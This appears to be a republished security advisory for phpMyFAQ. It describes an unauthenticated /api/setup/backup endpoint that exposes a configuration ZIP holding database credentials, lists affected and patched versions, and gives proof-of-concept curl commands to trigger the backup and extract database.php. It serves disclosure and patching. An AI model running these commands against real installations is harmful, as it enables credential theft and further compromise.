| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| thorsten/phpmyfaq | ≥ 4.1.0-alpha, ≤ 4.1.0-beta.2< 4.0.16 | 4.0.16 |
| phpmyfaq | = 4.1.0< 4.0.16 | 4.0.16 |
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.
The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.
Relevant code paths:
phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup()
hasValidToken(), userIsAuthenticated(), or any permission checkphpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup()
content/core/config/Replace BASE_URL with your instance URL.
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
-H "Content-Type: text/plain" \
--data "4.1.0-RC"
Expected result: 200 OK with JSON containing backupFile.
backupFile URL from the JSON response and download it (still without authentication):# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíObserved: database.php is included and contains DB host/user/password.
.htaccess rewrite rules are active and the endpoint is reachable.